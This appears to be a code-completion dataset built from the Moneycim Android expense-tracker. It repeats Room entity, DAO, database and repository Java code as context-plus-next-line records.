@PrimaryKey(autoGenerate = true) // @ColumnInfo(name = "group_id") // private int groupId; // // @ColumnInfo(name = "group_name") // private String groupName; // // public int getGroupId() { // return groupId; // } // // public void setGroupId(int groupId) { // this.groupId = groupId; // } // // public String getGroupName() { // return groupName; // } // // public void setGroupName(String groupName) { // this.groupName = groupName; // } // } // // Path: app/src/main/java/com/vsahin/moneycim/Model/Pojo/Spending.java // public class Spending { // // @Embedded // private RawSpending rawSpending; // // @ColumnInfo(name = "group_name") // private String groupName; // // public RawSpending getRawSpending() { // return rawSpending; // } // // public void setRawSpending(RawSpending spending) { // this.rawSpending = spending; // } // // public String getGroupName() { // return groupName; // } // // public void setGroupName(String groupName) { // this.groupName = groupName; // } // // public boolean isSame(Spending s1){ // return s1.getRawSpending().getDescription().equals(this.getRawSpending().getDescription()) // && s1.getRawSpending().getQuantity().equals(this.getRawSpending().getQuantity()) // && s1.getRawSpending().getGroupId() == this.getRawSpending().getGroupId() // && s1.getGroupName().equals(this.getGroupName()); // // } // } // Path: app/src/main/java/com/vsahin/moneycim/Model/Repository/SpendingRepository.java import com.vsahin.moneycim.Model.Database.AppDatabase; import com.vsahin.moneycim.Model.Entity.RawSpending; import com.vsahin.moneycim.Model.Entity.SpendingGroup; import com.vsahin.moneycim.Model.Pojo.Spending; import java.util.List; import javax.inject.Inject; import javax.inject.Singleton; import androidx.lifecycle.LiveData; package com.vsahin.moneycim.Model.Repository; /** * Created by Volkan Şahin on 17.08.2017. */ @Singleton public class SpendingRepository { private final AppDatabase appDatabase; @Inject public SpendingRepository(AppDatabase appDatabase) { this.appDatabase = appDatabase; }
public LiveData<List<Spending>> getSpendings(){
volkansahin45/Moneycim
app/src/main/java/com/vsahin/moneycim/Model/Repository/SpendingRepository.java
// Path: app/src/main/java/com/vsahin/moneycim/Model/Database/AppDatabase.java // @Database(version = 1, entities = {RawSpending.class, SpendingGroup.class}) // @TypeConverters({Converters.class}) // public abstract class AppDatabase extends RoomDatabase{ // // public abstract SpendingDao spendingDao(); // public abstract SpendingGroupDao spendingGroupDao(); // // } // // Path: app/src/main/java/com/vsahin/moneycim/Model/Entity/RawSpending.java // @Entity(tableName = "spending") // public class RawSpending implements Serializable { // // @PrimaryKey(autoGenerate = true) // @ColumnInfo(name = "id") // public int id; // // @ForeignKey(entity = SpendingGroup.class, parentColumns = "group-id", childColumns = "group-id") // @ColumnInfo(name = "group_id") // private int groupId; // // @TypeConverters(Converters.class) // @ColumnInfo(name = "date") // private Date date; // // @ColumnInfo(name = "quantity") // private Double quantity; // // @ColumnInfo(name = "description") // private String description; // // public int getId() { // return id; // } // // public int getGroupId() { // return groupId; // } // // public void setGroupId(int groupId) { // this.groupId = groupId; // } // // public Date getDate() { // return date; // } // // public void setDate(Date date) { // this.date = date; // } // // public Double getQuantity() { // return quantity; // } // // public void setQuantity(Double quantity) { // this.quantity = quantity; // } // // public String getDescription() { // return description; // } // // public void setDescription(String description) { // this.description = description; // } // } // // Path: app/src/main/java/com/vsahin/moneycim/Model/Entity/SpendingGroup.java // @Entity(tableName = "spending_group") // public class SpendingGroup { // // @PrimaryKey(autoGenerate = true) // @ColumnInfo(name = "group_id") // private int groupId; // // @ColumnInfo(name = "group_name") // private String groupName; // // public int getGroupId() { // return groupId; // } // // public void setGroupId(int groupId) { // this.groupId = groupId; // } // // public String getGroupName() { // return groupName; // } // // public void setGroupName(String groupName) { // this.groupName = groupName; // } // } // // Path: app/src/main/java/com/vsahin/moneycim/Model/Pojo/Spending.java // public class Spending { // // @Embedded // private RawSpending rawSpending; // // @ColumnInfo(name = "group_name") // private String groupName; // // public RawSpending getRawSpending() { // return rawSpending; // } // // public void setRawSpending(RawSpending spending) { // this.rawSpending = spending; // } // // public String getGroupName() { // return groupName; // } // // public void setGroupName(String groupName) { // this.groupName = groupName; // } // // public boolean isSame(Spending s1){ // return s1.getRawSpending().getDescription().equals(this.getRawSpending().getDescription()) // && s1.getRawSpending().getQuantity().equals(this.getRawSpending().getQuantity()) // && s1.getRawSpending().getGroupId() == this.getRawSpending().getGroupId() // && s1.getGroupName().equals(this.getGroupName()); // // } // }
import com.vsahin.moneycim.Model.Database.AppDatabase; import com.vsahin.moneycim.Model.Entity.RawSpending; import com.vsahin.moneycim.Model.Entity.SpendingGroup; import com.vsahin.moneycim.Model.Pojo.Spending; import java.util.List; import javax.inject.Inject; import javax.inject.Singleton; import androidx.lifecycle.LiveData;
package com.vsahin.moneycim.Model.Repository; /** * Created by Volkan Şahin on 17.08.2017. */ @Singleton public class SpendingRepository { private final AppDatabase appDatabase; @Inject public SpendingRepository(AppDatabase appDatabase) { this.appDatabase = appDatabase; } public LiveData<List<Spending>> getSpendings(){ return appDatabase.spendingDao().getSpendingsWithGroups(); } public LiveData<Double> getTotalSpendingQuantity(){ return appDatabase.spendingDao().getTotalSpendingQuantity(); }
// Path: app/src/main/java/com/vsahin/moneycim/Model/Database/AppDatabase.java // @Database(version = 1, entities = {RawSpending.class, SpendingGroup.class}) // @TypeConverters({Converters.class}) // public abstract class AppDatabase extends RoomDatabase{ // // public abstract SpendingDao spendingDao(); // public abstract SpendingGroupDao spendingGroupDao(); // // } // // Path: app/src/main/java/com/vsahin/moneycim/Model/Entity/RawSpending.java // @Entity(tableName = "spending") // public class RawSpending implements Serializable { // // @PrimaryKey(autoGenerate = true) // @ColumnInfo(name = "id") // public int id; // // @ForeignKey(entity = SpendingGroup.class, parentColumns = "group-id", childColumns = "group-id") // @ColumnInfo(name = "group_id") // private int groupId; // // @TypeConverters(Converters.class) // @ColumnInfo(name = "date") // private Date date; // // @ColumnInfo(name = "quantity") // private Double quantity; // // @ColumnInfo(name = "description") // private String description; // // public int getId() { // return id; // } // // public int getGroupId() { // return groupId; // } // // public void setGroupId(int groupId) { // this.groupId = groupId; // } // // public Date getDate() { // return date; // } // // public void setDate(Date date) { // this.date = date; // } // // public Double getQuantity() { // return quantity; // } // // public void setQuantity(Double quantity) { // this.quantity = quantity; // } // // public String getDescription() { // return description; // } // // public void setDescription(String description) { // this.description = description; // } // } // // Path: app/src/main/java/com/vsahin/moneycim/Model/Entity/SpendingGroup.java // @Entity(tableName = "spending_group") // public class SpendingGroup { // // @PrimaryKey(autoGenerate = true) // @ColumnInfo(name = "group_id") // private int groupId; // // @ColumnInfo(name = "group_name") // private String groupName; // // public int getGroupId() { // return groupId; // } // // public void setGroupId(int groupId) { // this.groupId = groupId; // } // // public String getGroupName() { // return groupName; // } // // public void setGroupName(String groupName) { // this.groupName = groupName; // } // } // // Path: app/src/main/java/com/vsahin/moneycim/Model/Pojo/Spending.java // public class Spending { // // @Embedded // private RawSpending rawSpending; // // @ColumnInfo(name = "group_name") // private String groupName; // // public RawSpending getRawSpending() { // return rawSpending; // } // // public void setRawSpending(RawSpending spending) { // this.rawSpending = spending; // } // // public String getGroupName() { // return groupName; // } // // public void setGroupName(String groupName) { // this.groupName = groupName; // } // // public boolean isSame(Spending s1){ // return s1.getRawSpending().getDescription().equals(this.getRawSpending().getDescription()) // && s1.getRawSpending().getQuantity().equals(this.getRawSpending().getQuantity()) // && s1.getRawSpending().getGroupId() == this.getRawSpending().getGroupId() // && s1.getGroupName().equals(this.getGroupName()); // // } // } // Path: app/src/main/java/com/vsahin/moneycim/Model/Repository/SpendingRepository.java import com.vsahin.moneycim.Model.Database.AppDatabase; import com.vsahin.moneycim.Model.Entity.RawSpending; import com.vsahin.moneycim.Model.Entity.SpendingGroup; import com.vsahin.moneycim.Model.Pojo.Spending; import java.util.List; import javax.inject.Inject; import javax.inject.Singleton; import androidx.lifecycle.LiveData; package com.vsahin.moneycim.Model.Repository; /** * Created by Volkan Şahin on 17.08.2017. */ @Singleton public class SpendingRepository { private final AppDatabase appDatabase; @Inject public SpendingRepository(AppDatabase appDatabase) { this.appDatabase = appDatabase; } public LiveData<List<Spending>> getSpendings(){ return appDatabase.spendingDao().getSpendingsWithGroups(); } public LiveData<Double> getTotalSpendingQuantity(){ return appDatabase.spendingDao().getTotalSpendingQuantity(); }
public void addSpending(RawSpending s){
volkansahin45/Moneycim
app/src/main/java/com/vsahin/moneycim/Model/Repository/SpendingRepository.java
// Path: app/src/main/java/com/vsahin/moneycim/Model/Database/AppDatabase.java // @Database(version = 1, entities = {RawSpending.class, SpendingGroup.class}) // @TypeConverters({Converters.class}) // public abstract class AppDatabase extends RoomDatabase{ // // public abstract SpendingDao spendingDao(); // public abstract SpendingGroupDao spendingGroupDao(); // // } // // Path: app/src/main/java/com/vsahin/moneycim/Model/Entity/RawSpending.java // @Entity(tableName = "spending") // public class RawSpending implements Serializable { // // @PrimaryKey(autoGenerate = true) // @ColumnInfo(name = "id") // public int id; // // @ForeignKey(entity = SpendingGroup.class, parentColumns = "group-id", childColumns = "group-id") // @ColumnInfo(name = "group_id") // private int groupId; // // @TypeConverters(Converters.class) // @ColumnInfo(name = "date") // private Date date; // // @ColumnInfo(name = "quantity") // private Double quantity; // // @ColumnInfo(name = "description") // private String description; // // public int getId() { // return id; // } // // public int getGroupId() { // return groupId; // } // // public void setGroupId(int groupId) { // this.groupId = groupId; // } // // public Date getDate() { // return date; // } // // public void setDate(Date date) { // this.date = date; // } // // public Double getQuantity() { // return quantity; // } // // public void setQuantity(Double quantity) { // this.quantity = quantity; // } // // public String getDescription() { // return description; // } // // public void setDescription(String description) { // this.description = description; // } // } // // Path: app/src/main/java/com/vsahin/moneycim/Model/Entity/SpendingGroup.java // @Entity(tableName = "spending_group") // public class SpendingGroup { // // @PrimaryKey(autoGenerate = true) // @ColumnInfo(name = "group_id") // private int groupId; // // @ColumnInfo(name = "group_name") // private String groupName; // // public int getGroupId() { // return groupId; // } // // public void setGroupId(int groupId) { // this.groupId = groupId; // } // // public String getGroupName() { // return groupName; // } // // public void setGroupName(String groupName) { // this.groupName = groupName; // } // } // // Path: app/src/main/java/com/vsahin/moneycim/Model/Pojo/Spending.java // public class Spending { // // @Embedded // private RawSpending rawSpending; // // @ColumnInfo(name = "group_name") // private String groupName; // // public RawSpending getRawSpending() { // return rawSpending; // } // // public void setRawSpending(RawSpending spending) { // this.rawSpending = spending; // } // // public String getGroupName() { // return groupName; // } // // public void setGroupName(String groupName) { // this.groupName = groupName; // } // // public boolean isSame(Spending s1){ // return s1.getRawSpending().getDescription().equals(this.getRawSpending().getDescription()) // && s1.getRawSpending().getQuantity().equals(this.getRawSpending().getQuantity()) // && s1.getRawSpending().getGroupId() == this.getRawSpending().getGroupId() // && s1.getGroupName().equals(this.getGroupName()); // // } // }
import com.vsahin.moneycim.Model.Database.AppDatabase; import com.vsahin.moneycim.Model.Entity.RawSpending; import com.vsahin.moneycim.Model.Entity.SpendingGroup; import com.vsahin.moneycim.Model.Pojo.Spending; import java.util.List; import javax.inject.Inject; import javax.inject.Singleton; import androidx.lifecycle.LiveData;
package com.vsahin.moneycim.Model.Repository; /** * Created by Volkan Şahin on 17.08.2017. */ @Singleton public class SpendingRepository { private final AppDatabase appDatabase; @Inject public SpendingRepository(AppDatabase appDatabase) { this.appDatabase = appDatabase; } public LiveData<List<Spending>> getSpendings(){ return appDatabase.spendingDao().getSpendingsWithGroups(); } public LiveData<Double> getTotalSpendingQuantity(){ return appDatabase.spendingDao().getTotalSpendingQuantity(); } public void addSpending(RawSpending s){ appDatabase.spendingDao().addSpending(s); }
// Path: app/src/main/java/com/vsahin/moneycim/Model/Database/AppDatabase.java // @Database(version = 1, entities = {RawSpending.class, SpendingGroup.class}) // @TypeConverters({Converters.class}) // public abstract class AppDatabase extends RoomDatabase{ // // public abstract SpendingDao spendingDao(); // public abstract SpendingGroupDao spendingGroupDao(); // // } // // Path: app/src/main/java/com/vsahin/moneycim/Model/Entity/RawSpending.java // @Entity(tableName = "spending") // public class RawSpending implements Serializable { // // @PrimaryKey(autoGenerate = true) // @ColumnInfo(name = "id") // public int id; // // @ForeignKey(entity = SpendingGroup.class, parentColumns = "group-id", childColumns = "group-id") // @ColumnInfo(name = "group_id") // private int groupId; // // @TypeConverters(Converters.class) // @ColumnInfo(name = "date") // private Date date; // // @ColumnInfo(name = "quantity") // private Double quantity; // // @ColumnInfo(name = "description") // private String description; // // public int getId() { // return id; // } // // public int getGroupId() { // return groupId; // } // // public void setGroupId(int groupId) { // this.groupId = groupId; // } // // public Date getDate() { // return date; // } // // public void setDate(Date date) { // this.date = date; // } // // public Double getQuantity() { // return quantity; // } // // public void setQuantity(Double quantity) { // this.quantity = quantity; // } // // public String getDescription() { // return description; // } // // public void setDescription(String description) { // this.description = description; // } // } // // Path: app/src/main/java/com/vsahin/moneycim/Model/Entity/SpendingGroup.java // @Entity(tableName = "spending_group") // public class SpendingGroup { // // @PrimaryKey(autoGenerate = true) // @ColumnInfo(name = "group_id") // private int groupId; // // @ColumnInfo(name = "group_name") // private String groupName; // // public int getGroupId() { // return groupId; // } // // public void setGroupId(int groupId) { // this.groupId = groupId; // } // // public String getGroupName() { // return groupName; // } // // public void setGroupName(String groupName) { // this.groupName = groupName; // } // } // // Path: app/src/main/java/com/vsahin/moneycim/Model/Pojo/Spending.java // public class Spending { // // @Embedded // private RawSpending rawSpending; // // @ColumnInfo(name = "group_name") // private String groupName; // // public RawSpending getRawSpending() { // return rawSpending; // } // // public void setRawSpending(RawSpending spending) { // this.rawSpending = spending; // } // // public String getGroupName() { // return groupName; // } // // public void setGroupName(String groupName) { // this.groupName = groupName; // } // // public boolean isSame(Spending s1){ // return s1.getRawSpending().getDescription().equals(this.getRawSpending().getDescription()) // && s1.getRawSpending().getQuantity().equals(this.getRawSpending().getQuantity()) // && s1.getRawSpending().getGroupId() == this.getRawSpending().getGroupId() // && s1.getGroupName().equals(this.getGroupName()); // // } // } // Path: app/src/main/java/com/vsahin/moneycim/Model/Repository/SpendingRepository.java import com.vsahin.moneycim.Model.Database.AppDatabase; import com.vsahin.moneycim.Model.Entity.RawSpending; import com.vsahin.moneycim.Model.Entity.SpendingGroup; import com.vsahin.moneycim.Model.Pojo.Spending; import java.util.List; import javax.inject.Inject; import javax.inject.Singleton; import androidx.lifecycle.LiveData; package com.vsahin.moneycim.Model.Repository; /** * Created by Volkan Şahin on 17.08.2017. */ @Singleton public class SpendingRepository { private final AppDatabase appDatabase; @Inject public SpendingRepository(AppDatabase appDatabase) { this.appDatabase = appDatabase; } public LiveData<List<Spending>> getSpendings(){ return appDatabase.spendingDao().getSpendingsWithGroups(); } public LiveData<Double> getTotalSpendingQuantity(){ return appDatabase.spendingDao().getTotalSpendingQuantity(); } public void addSpending(RawSpending s){ appDatabase.spendingDao().addSpending(s); }
public LiveData<List<SpendingGroup>> getSpendingGroups(){
volkansahin45/Moneycim
app/src/main/java/com/vsahin/moneycim/Model/Database/AppDatabase.java
// Path: app/src/main/java/com/vsahin/moneycim/Model/Dao/SpendingDao.java // @Dao // public interface SpendingDao { // // @Query("SELECT * FROM SPENDING INNER JOIN SPENDING_GROUP ON SPENDING.GROUP_ID = SPENDING_GROUP.GROUP_ID ORDER BY SPENDING.DATE DESC") // LiveData<List<Spending>> getSpendingsWithGroups(); // // @Insert(onConflict = OnConflictStrategy.REPLACE) // void addSpending(RawSpending s); // // @Query("SELECT SUM(QUANTITY) FROM SPENDING") // LiveData<Double> getTotalSpendingQuantity(); // // @Query("DELETE FROM SPENDING WHERE ID = :id") // void deleteSpending(int id); // } // // Path: app/src/main/java/com/vsahin/moneycim/Model/Dao/SpendingGroupDao.java // @Dao // public interface SpendingGroupDao { // // @Query("SELECT * FROM SPENDING_GROUP") // LiveData<List<SpendingGroup>> getAllSpendingGroups(); // // @Insert // void addSpendingGroup(SpendingGroup spendingGroup); // } // // Path: app/src/main/java/com/vsahin/moneycim/Model/Entity/RawSpending.java // @Entity(tableName = "spending") // public class RawSpending implements Serializable { // // @PrimaryKey(autoGenerate = true) // @ColumnInfo(name = "id") // public int id; // // @ForeignKey(entity = SpendingGroup.class, parentColumns = "group-id", childColumns = "group-id") // @ColumnInfo(name = "group_id") // private int groupId; // // @TypeConverters(Converters.class) // @ColumnInfo(name = "date") // private Date date; // // @ColumnInfo(name = "quantity") // private Double quantity; // // @ColumnInfo(name = "description") // private String description; // // public int getId() { // return id; // } // // public int getGroupId() { // return groupId; // } // // public void setGroupId(int groupId) { // this.groupId = groupId; // } // // public Date getDate() { // return date; // } // // public void setDate(Date date) { // this.date = date; // } // // public Double getQuantity() { // return quantity; // } // // public void setQuantity(Double quantity) { // this.quantity = quantity; // } // // public String getDescription() { // return description; // } // // public void setDescription(String description) { // this.description = description; // } // } // // Path: app/src/main/java/com/vsahin/moneycim/Model/Entity/SpendingGroup.java // @Entity(tableName = "spending_group") // public class SpendingGroup { // // @PrimaryKey(autoGenerate = true) // @ColumnInfo(name = "group_id") // private int groupId; // // @ColumnInfo(name = "group_name") // private String groupName; // // public int getGroupId() { // return groupId; // } // // public void setGroupId(int groupId) { // this.groupId = groupId; // } // // public String getGroupName() { // return groupName; // } // // public void setGroupName(String groupName) { // this.groupName = groupName; // } // }
import androidx.room.Database; import androidx.room.RoomDatabase; import androidx.room.TypeConverters; import com.vsahin.moneycim.Model.Dao.SpendingDao; import com.vsahin.moneycim.Model.Dao.SpendingGroupDao; import com.vsahin.moneycim.Model.Entity.RawSpending; import com.vsahin.moneycim.Model.Entity.SpendingGroup;
package com.vsahin.moneycim.Model.Database; /** * Created by Volkan Şahin on 17.08.2017. */ @Database(version = 1, entities = {RawSpending.class, SpendingGroup.class}) @TypeConverters({Converters.class}) public abstract class AppDatabase extends RoomDatabase{
// Path: app/src/main/java/com/vsahin/moneycim/Model/Dao/SpendingDao.java // @Dao // public interface SpendingDao { // // @Query("SELECT * FROM SPENDING INNER JOIN SPENDING_GROUP ON SPENDING.GROUP_ID = SPENDING_GROUP.GROUP_ID ORDER BY SPENDING.DATE DESC") // LiveData<List<Spending>> getSpendingsWithGroups(); // // @Insert(onConflict = OnConflictStrategy.REPLACE) // void addSpending(RawSpending s); // // @Query("SELECT SUM(QUANTITY) FROM SPENDING") // LiveData<Double> getTotalSpendingQuantity(); // // @Query("DELETE FROM SPENDING WHERE ID = :id") // void deleteSpending(int id); // } // // Path: app/src/main/java/com/vsahin/moneycim/Model/Dao/SpendingGroupDao.java // @Dao // public interface SpendingGroupDao { // // @Query("SELECT * FROM SPENDING_GROUP") // LiveData<List<SpendingGroup>> getAllSpendingGroups(); // // @Insert // void addSpendingGroup(SpendingGroup spendingGroup); // } // // Path: app/src/main/java/com/vsahin/moneycim/Model/Entity/RawSpending.java // @Entity(tableName = "spending") // public class RawSpending implements Serializable { // // @PrimaryKey(autoGenerate = true) // @ColumnInfo(name = "id") // public int id; // // @ForeignKey(entity = SpendingGroup.class, parentColumns = "group-id", childColumns = "group-id") // @ColumnInfo(name = "group_id") // private int groupId; // // @TypeConverters(Converters.class) // @ColumnInfo(name = "date") // private Date date; // // @ColumnInfo(name = "quantity") // private Double quantity; // // @ColumnInfo(name = "description") // private String description; // // public int getId() { // return id; // } // // public int getGroupId() { // return groupId; // } // // public void setGroupId(int groupId) { // this.groupId = groupId; // } // // public Date getDate() { // return date; // } // // public void setDate(Date date) { // this.date = date; // } // // public Double getQuantity() { // return quantity; // } // // public void setQuantity(Double quantity) { // this.quantity = quantity; // } // // public String getDescription() { // return description; // } // // public void setDescription(String description) { // this.description = description; // } // } // // Path: app/src/main/java/com/vsahin/moneycim/Model/Entity/SpendingGroup.java // @Entity(tableName = "spending_group") // public class SpendingGroup { // // @PrimaryKey(autoGenerate = true) // @ColumnInfo(name = "group_id") // private int groupId; // // @ColumnInfo(name = "group_name") // private String groupName; // // public int getGroupId() { // return groupId; // } // // public void setGroupId(int groupId) { // this.groupId = groupId; // } // // public String getGroupName() { // return groupName; // } // // public void setGroupName(String groupName) { // this.groupName = groupName; // } // } // Path: app/src/main/java/com/vsahin/moneycim/Model/Database/AppDatabase.java import androidx.room.Database; import androidx.room.RoomDatabase; import androidx.room.TypeConverters; import com.vsahin.moneycim.Model.Dao.SpendingDao; import com.vsahin.moneycim.Model.Dao.SpendingGroupDao; import com.vsahin.moneycim.Model.Entity.RawSpending; import com.vsahin.moneycim.Model.Entity.SpendingGroup; package com.vsahin.moneycim.Model.Database; /** * Created by Volkan Şahin on 17.08.2017. */ @Database(version = 1, entities = {RawSpending.class, SpendingGroup.class}) @TypeConverters({Converters.class}) public abstract class AppDatabase extends RoomDatabase{
public abstract SpendingDao spendingDao();
volkansahin45/Moneycim
app/src/main/java/com/vsahin/moneycim/Model/Database/AppDatabase.java
// Path: app/src/main/java/com/vsahin/moneycim/Model/Dao/SpendingDao.java // @Dao // public interface SpendingDao { // // @Query("SELECT * FROM SPENDING INNER JOIN SPENDING_GROUP ON SPENDING.GROUP_ID = SPENDING_GROUP.GROUP_ID ORDER BY SPENDING.DATE DESC") // LiveData<List<Spending>> getSpendingsWithGroups(); // // @Insert(onConflict = OnConflictStrategy.REPLACE) // void addSpending(RawSpending s); // // @Query("SELECT SUM(QUANTITY) FROM SPENDING") // LiveData<Double> getTotalSpendingQuantity(); // // @Query("DELETE FROM SPENDING WHERE ID = :id") // void deleteSpending(int id); // } // // Path: app/src/main/java/com/vsahin/moneycim/Model/Dao/SpendingGroupDao.java // @Dao // public interface SpendingGroupDao { // // @Query("SELECT * FROM SPENDING_GROUP") // LiveData<List<SpendingGroup>> getAllSpendingGroups(); // // @Insert // void addSpendingGroup(SpendingGroup spendingGroup); // } // // Path: app/src/main/java/com/vsahin/moneycim/Model/Entity/RawSpending.java // @Entity(tableName = "spending") // public class RawSpending implements Serializable { // // @PrimaryKey(autoGenerate = true) // @ColumnInfo(name = "id") // public int id; // // @ForeignKey(entity = SpendingGroup.class, parentColumns = "group-id", childColumns = "group-id") // @ColumnInfo(name = "group_id") // private int groupId; // // @TypeConverters(Converters.class) // @ColumnInfo(name = "date") // private Date date; // // @ColumnInfo(name = "quantity") // private Double quantity; // // @ColumnInfo(name = "description") // private String description; // // public int getId() { // return id; // } // // public int getGroupId() { // return groupId; // } // // public void setGroupId(int groupId) { // this.groupId = groupId; // } // // public Date getDate() { // return date; // } // // public void setDate(Date date) { // this.date = date; // } // // public Double getQuantity() { // return quantity; // } // // public void setQuantity(Double quantity) { // this.quantity = quantity; // } // // public String getDescription() { // return description; // } // // public void setDescription(String description) { // this.description = description; // } // } // // Path: app/src/main/java/com/vsahin/moneycim/Model/Entity/SpendingGroup.java // @Entity(tableName = "spending_group") // public class SpendingGroup { // // @PrimaryKey(autoGenerate = true) // @ColumnInfo(name = "group_id") // private int groupId; // // @ColumnInfo(name = "group_name") // private String groupName; // // public int getGroupId() { // return groupId; // } // // public void setGroupId(int groupId) { // this.groupId = groupId; // } // // public String getGroupName() { // return groupName; // } // // public void setGroupName(String groupName) { // this.groupName = groupName; // } // }
import androidx.room.Database; import androidx.room.RoomDatabase; import androidx.room.TypeConverters; import com.vsahin.moneycim.Model.Dao.SpendingDao; import com.vsahin.moneycim.Model.Dao.SpendingGroupDao; import com.vsahin.moneycim.Model.Entity.RawSpending; import com.vsahin.moneycim.Model.Entity.SpendingGroup;
package com.vsahin.moneycim.Model.Database; /** * Created by Volkan Şahin on 17.08.2017. */ @Database(version = 1, entities = {RawSpending.class, SpendingGroup.class}) @TypeConverters({Converters.class}) public abstract class AppDatabase extends RoomDatabase{ public abstract SpendingDao spendingDao();
// Path: app/src/main/java/com/vsahin/moneycim/Model/Dao/SpendingDao.java // @Dao // public interface SpendingDao { // // @Query("SELECT * FROM SPENDING INNER JOIN SPENDING_GROUP ON SPENDING.GROUP_ID = SPENDING_GROUP.GROUP_ID ORDER BY SPENDING.DATE DESC") // LiveData<List<Spending>> getSpendingsWithGroups(); // // @Insert(onConflict = OnConflictStrategy.REPLACE) // void addSpending(RawSpending s); // // @Query("SELECT SUM(QUANTITY) FROM SPENDING") // LiveData<Double> getTotalSpendingQuantity(); // // @Query("DELETE FROM SPENDING WHERE ID = :id") // void deleteSpending(int id); // } // // Path: app/src/main/java/com/vsahin/moneycim/Model/Dao/SpendingGroupDao.java // @Dao // public interface SpendingGroupDao { // // @Query("SELECT * FROM SPENDING_GROUP") // LiveData<List<SpendingGroup>> getAllSpendingGroups(); // // @Insert // void addSpendingGroup(SpendingGroup spendingGroup); // } // // Path: app/src/main/java/com/vsahin/moneycim/Model/Entity/RawSpending.java // @Entity(tableName = "spending") // public class RawSpending implements Serializable { // // @PrimaryKey(autoGenerate = true) // @ColumnInfo(name = "id") // public int id; // // @ForeignKey(entity = SpendingGroup.class, parentColumns = "group-id", childColumns = "group-id") // @ColumnInfo(name = "group_id") // private int groupId; // // @TypeConverters(Converters.class) // @ColumnInfo(name = "date") // private Date date; // // @ColumnInfo(name = "quantity") // private Double quantity; // // @ColumnInfo(name = "description") // private String description; // // public int getId() { // return id; // } // // public int getGroupId() { // return groupId; // } // // public void setGroupId(int groupId) { // this.groupId = groupId; // } // // public Date getDate() { // return date; // } // // public void setDate(Date date) { // this.date = date; // } // // public Double getQuantity() { // return quantity; // } // // public void setQuantity(Double quantity) { // this.quantity = quantity; // } // // public String getDescription() { // return description; // } // // public void setDescription(String description) { // this.description = description; // } // } // // Path: app/src/main/java/com/vsahin/moneycim/Model/Entity/SpendingGroup.java // @Entity(tableName = "spending_group") // public class SpendingGroup { // // @PrimaryKey(autoGenerate = true) // @ColumnInfo(name = "group_id") // private int groupId; // // @ColumnInfo(name = "group_name") // private String groupName; // // public int getGroupId() { // return groupId; // } // // public void setGroupId(int groupId) { // this.groupId = groupId; // } // // public String getGroupName() { // return groupName; // } // // public void setGroupName(String groupName) { // this.groupName = groupName; // } // } // Path: app/src/main/java/com/vsahin/moneycim/Model/Database/AppDatabase.java import androidx.room.Database; import androidx.room.RoomDatabase; import androidx.room.TypeConverters; import com.vsahin.moneycim.Model.Dao.SpendingDao; import com.vsahin.moneycim.Model.Dao.SpendingGroupDao; import com.vsahin.moneycim.Model.Entity.RawSpending; import com.vsahin.moneycim.Model.Entity.SpendingGroup; package com.vsahin.moneycim.Model.Database; /** * Created by Volkan Şahin on 17.08.2017. */ @Database(version = 1, entities = {RawSpending.class, SpendingGroup.class}) @TypeConverters({Converters.class}) public abstract class AppDatabase extends RoomDatabase{ public abstract SpendingDao spendingDao();
public abstract SpendingGroupDao spendingGroupDao();
volkansahin45/Moneycim
app/src/main/java/com/vsahin/moneycim/Model/Pojo/Spending.java
// Path: app/src/main/java/com/vsahin/moneycim/Model/Entity/RawSpending.java // @Entity(tableName = "spending") // public class RawSpending implements Serializable { // // @PrimaryKey(autoGenerate = true) // @ColumnInfo(name = "id") // public int id; // // @ForeignKey(entity = SpendingGroup.class, parentColumns = "group-id", childColumns = "group-id") // @ColumnInfo(name = "group_id") // private int groupId; // // @TypeConverters(Converters.class) // @ColumnInfo(name = "date") // private Date date; // // @ColumnInfo(name = "quantity") // private Double quantity; // // @ColumnInfo(name = "description") // private String description; // // public int getId() { // return id; // } // // public int getGroupId() { // return groupId; // } // // public void setGroupId(int groupId) { // this.groupId = groupId; // } // // public Date getDate() { // return date; // } // // public void setDate(Date date) { // this.date = date; // } // // public Double getQuantity() { // return quantity; // } // // public void setQuantity(Double quantity) { // this.quantity = quantity; // } // // public String getDescription() { // return description; // } // // public void setDescription(String description) { // this.description = description; // } // }
import androidx.room.ColumnInfo; import androidx.room.Embedded; import com.vsahin.moneycim.Model.Entity.RawSpending;
package com.vsahin.moneycim.Model.Pojo; /** * Created by Volkan Şahin on 18.08.2017. */ public class Spending { @Embedded
// Path: app/src/main/java/com/vsahin/moneycim/Model/Entity/RawSpending.java // @Entity(tableName = "spending") // public class RawSpending implements Serializable { // // @PrimaryKey(autoGenerate = true) // @ColumnInfo(name = "id") // public int id; // // @ForeignKey(entity = SpendingGroup.class, parentColumns = "group-id", childColumns = "group-id") // @ColumnInfo(name = "group_id") // private int groupId; // // @TypeConverters(Converters.class) // @ColumnInfo(name = "date") // private Date date; // // @ColumnInfo(name = "quantity") // private Double quantity; // // @ColumnInfo(name = "description") // private String description; // // public int getId() { // return id; // } // // public int getGroupId() { // return groupId; // } // // public void setGroupId(int groupId) { // this.groupId = groupId; // } // // public Date getDate() { // return date; // } // // public void setDate(Date date) { // this.date = date; // } // // public Double getQuantity() { // return quantity; // } // // public void setQuantity(Double quantity) { // this.quantity = quantity; // } // // public String getDescription() { // return description; // } // // public void setDescription(String description) { // this.description = description; // } // } // Path: app/src/main/java/com/vsahin/moneycim/Model/Pojo/Spending.java import androidx.room.ColumnInfo; import androidx.room.Embedded; import com.vsahin.moneycim.Model.Entity.RawSpending; package com.vsahin.moneycim.Model.Pojo; /** * Created by Volkan Şahin on 18.08.2017. */ public class Spending { @Embedded
private RawSpending rawSpending;
volkansahin45/Moneycim
app/src/main/java/com/vsahin/moneycim/Model/Dao/SpendingDao.java
// Path: app/src/main/java/com/vsahin/moneycim/Model/Entity/RawSpending.java // @Entity(tableName = "spending") // public class RawSpending implements Serializable { // // @PrimaryKey(autoGenerate = true) // @ColumnInfo(name = "id") // public int id; // // @ForeignKey(entity = SpendingGroup.class, parentColumns = "group-id", childColumns = "group-id") // @ColumnInfo(name = "group_id") // private int groupId; // // @TypeConverters(Converters.class) // @ColumnInfo(name = "date") // private Date date; // // @ColumnInfo(name = "quantity") // private Double quantity; // // @ColumnInfo(name = "description") // private String description; // // public int getId() { // return id; // } // // public int getGroupId() { // return groupId; // } // // public void setGroupId(int groupId) { // this.groupId = groupId; // } // // public Date getDate() { // return date; // } // // public void setDate(Date date) { // this.date = date; // } // // public Double getQuantity() { // return quantity; // } // // public void setQuantity(Double quantity) { // this.quantity = quantity; // } // // public String getDescription() { // return description; // } // // public void setDescription(String description) { // this.description = description; // } // } // // Path: app/src/main/java/com/vsahin/moneycim/Model/Pojo/Spending.java // public class Spending { // // 